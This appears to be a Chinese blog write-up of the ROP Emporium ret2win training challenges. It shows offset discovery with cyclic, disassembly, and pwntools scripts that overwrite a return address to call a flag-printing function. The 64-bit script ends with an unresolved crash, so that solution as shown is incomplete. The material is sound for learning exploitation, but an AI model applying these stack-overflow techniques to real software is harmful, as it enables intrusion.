ROP_Emporium_ret2win

12 篇文章 0 订阅


题目下载地址: ROP Emporium

1. ret2win32

信息收集

$ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1596c11f85b3ed0881193fe40783e1da685b851, not stripped
$ checksec ret2win32
[*] '/home/starr/Documents/CProject/pwn/ret2win32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

32位程序,开启了NX防护。

开启崩溃转储,用cyclic试一下溢出:

$ ulimit -c unlimited
$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ ./ret2win32 < cyclic.txt
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Segmentation fault (core dumped)
$ gdb ./ret2win32 ./ret2win32.core.12145
Core was generated by `./ret2win32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x6161616c in ?? ()
$ cyclic -l 0x6161616c
44

缓冲区偏移44字节处为返回地址。

反汇编

$ objdump -M intel -d ./ret2win32
08048546 <main>:
...
	804858b:       e8 1d 00 00 00          call   80485ad <pwnme>
...
080485ad <pwnme>:
	80485ad:       55                      push   %ebp

...
0804862c <ret2win>:
	804862c:       55                      push   %ebp

...

main主要就是调用pwnme。

用ida看看pwnme的具体逻辑和内存地址:

.text:080485AD                 push    ebp
.text:080485AE                 mov     ebp, esp
.text:080485B0                 sub     esp, 28h
.text:080485B3                 sub     esp, 4
.text:080485B6                 push    20h ; ' '       ; n
.text:080485B8                 push    0               ; c
.text:080485BA                 lea     eax, [ebp+s]
.text:080485BD                 push    eax             ; s
.text:080485BE                 call    _memset
.text:080485C3                 add     esp, 10h
.text:080485C6                 sub     esp, 0Ch
.text:080485C9                 push    offset aForMyFirstTric ; "For my first trick, I will attempt to f"...
.text:080485CE                 call    _puts
.text:080485D3                 add     esp, 10h
.text:080485D6                 sub     esp, 0Ch
.text:080485D9                 push    offset aWhatCouldPossi ; "What could possibly go wrong?"
.text:080485DE                 call    _puts
.text:080485E3                 add     esp, 10h
.text:080485E6                 sub     esp, 0Ch
.text:080485E9                 push    offset aYouThereMayIHa ; "You there, may I have your input please"...
.text:080485EE                 call    _puts
.text:080485F3                 add     esp, 10h
.text:080485F6                 sub     esp, 0Ch
.text:080485F9                 push    offset format   ; "> "
.text:080485FE                 call    _printf
.text:08048603                 add     esp, 10h
.text:08048606                 sub     esp, 4
.text:08048609                 push    38h ; '8'       ; nbytes
.text:0804860B                 lea     eax, [ebp+s]
.text:0804860E                 push    eax             ; buf
.text:0804860F                 push    0               ; fd
.text:08048611                 call    _read           ; read(stdin, buf, 56)
.text:08048616                 add     esp, 10h
.text:08048619                 sub     esp, 0Ch
.text:0804861C                 push    offset aThankYou ; "Thank you!"
.text:08048621                 call    _puts
.text:08048626                 add     esp, 10h
.text:08048629                 nop
.text:0804862A                 leave
.text:0804862B                 retn

buf位于ebp-0x28(40字节)的位置,但read却可以输入56(0x38)个字节,所以刚刚的cyclic在偏移44字节处(ebp+4)覆盖返回地址。

再看下ret2win函数,它直接输出flag:

.text:0804862C ret2win         proc near
.text:0804862C ; __unwind {
.text:0804862C                 push    ebp
.text:0804862D                 mov     ebp, esp
.text:0804862F                 sub     esp, 8
.text:08048632                 sub     esp, 0Ch
.text:08048635                 push    offset aWellDoneHereSY ; "Well done! Here's your flag:"
.text:0804863A                 call    _puts
.text:0804863F                 add     esp, 10h
.text:08048642                 sub     esp, 0Ch
.text:08048645                 push    offset command  ; "/bin/cat flag.txt"
.text:0804864A                 call    _system
.text:0804864F                 add     esp, 10h
.text:08048652                 nop
.text:08048653                 leave
.text:08048654                 retn
.text:08048654 ; } // starts at 804862C
.text:08048654 ret2win         endp

因为checksec部分并没有开启pie,所以将返回地址覆盖为0x0804862C即可。

Exp

from pwn import *

context.arch = "i386"
context.bits = 32
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./ret2win32")

pRet2Win = 0x804862c;
payload = bytes("A"*44, encoding="ascii")
payload += p32(pRet2Win)



io.recvuntil(">")

io.sendline(payload)
print(io.recv())
io.interactive()

顺利拿到flag。

2. ret2win

逻辑和ret2win32一样,但改成了64位:

$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
$ checksec ret2win
[*] '/home/starr/Documents/CProject/pwn/ret2win'
    Arch:     amd64-64-little
	...

还是用刚刚的cyclic.txt, 崩溃信息如下:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000400755 in pwnme ()

这里的崩溃信息显示程序停在了0x400755,这其实是pwnme的ret指令所在地址,因为 64 位可以使用的内存地址不能大于 0x00007fffffffffff,所以不能反馈出溢出点。

调试一下:

────────────────────────────────────── stack ────
0x007fffffffe2b8│+0x0000: 0x6161616c6161616b     ← $rsp
...
───────────────────────────────────── code:x86:64 ────
     0x40074e <pwnme+102>      call   0x400550 <puts@plt>
     0x400753 <pwnme+107>      nop
     0x400754 <pwnme+108>      leave
 →   0x400755 <pwnme+109>      ret

返回地址是0x6161616c6161616b,经cyclic确认, 溢出点偏移是40:

$ cyclic -l 0x6161616c6161616b
[CRITICAL] Subpattern must be 4 bytes
$ cyclic -l 0x6161616b
40

反汇编

objdump -d ret2win确认下ret2win的地址:

0000000000400756 <ret2win>:
  400756:       55                      push   %rbp

顺便用ida看下pwnme吧:

.text:00000000004006E8 pwnme           proc near               ; CODE XREF: main+3B↑p
.text:00000000004006E8
.text:00000000004006E8 buf             = byte ptr -20h
.text:00000000004006E8
.text:00000000004006E8 ; __unwind {
.text:00000000004006E8                 push    rbp
.text:00000000004006E9                 mov     rbp, rsp
.text:00000000004006EC                 sub     rsp, 20h
.text:00000000004006F0                 lea     rax, [rbp+buf]
.text:00000000004006F4                 mov     edx, 20h ; ' '  ; n
.text:00000000004006F9                 mov     esi, 0          ; c
.text:00000000004006FE                 mov     rdi, rax        ; s
.text:0000000000400701                 call    _memset
.text:0000000000400706                 mov     edi, offset aForMyFirstTric ; "For my first trick, I will attempt to f"...
.text:000000000040070B                 call    _puts
.text:0000000000400710                 mov     edi, offset aWhatCouldPossi ; "What could possibly go wrong?"
.text:0000000000400715                 call    _puts
.text:000000000040071A                 mov     edi, offset aYouThereMayIHa ; "You there, may I have your input please"...
.text:000000000040071F                 call    _puts
.text:0000000000400724                 mov     edi, offset format ; "> "
.text:0000000000400729                 mov     eax, 0
.text:000000000040072E                 call    _printf
.text:0000000000400733                 lea     rax, [rbp+buf]
.text:0000000000400737                 mov     edx, 38h ; '8'  ; nbytes
.text:000000000040073C                 mov     rsi, rax        ; buf
.text:000000000040073F                 mov     edi, 0          ; fd
.text:0000000000400744                 call    _read           ; read(stdin, buf, 0x38)
.text:0000000000400749                 mov     edi, offset aThankYou ; "Thank you!"
.text:000000000040074E                 call    _puts
.text:0000000000400753                 nop
.text:0000000000400754                 leave
.text:0000000000400755                 retn
.text:0000000000400755 ; } // starts at 4006E8
.text:0000000000400755 pwnme           endp

要记住64位linux的调用约定是rdi, rsi, rdx, rcx, r8, r9。

Exp

from pwn import *

context.arch = "i386"
context.bits = 64
context.os = "linux"

def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;

io = getio("./ret2win")

pRet2Win = 0x0000000000400756;
payload = bytes("A"*40, encoding="ascii")
payload += p64(pRet2Win)
# with open("payload.txt", "wb") as f:
#     f.write(payload)

io.recvuntil(">")

# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv())
print(io.recvline())
io.interactive()

不过,崩溃了,,

#0  0x00007ffff7a312d6 in do_system (line=0x400943 "/bin/cat flag.txt") at ../sysdeps/posix/system.c:125
125     ../sysdeps/posix/system.c: No such file or directory.

显示文件不存在,但本地是有的:

$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}

手动把rodata里的字符串改成./flag.txt,还是崩溃。。。

#0  0x00007ffff7a312d6 in do_system (line=0x400943 "/bin/cat ./flag.txt") at ../sysdeps/posix/system.c:125
125     ../sysdeps/posix/system.c: No such file or directory.
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值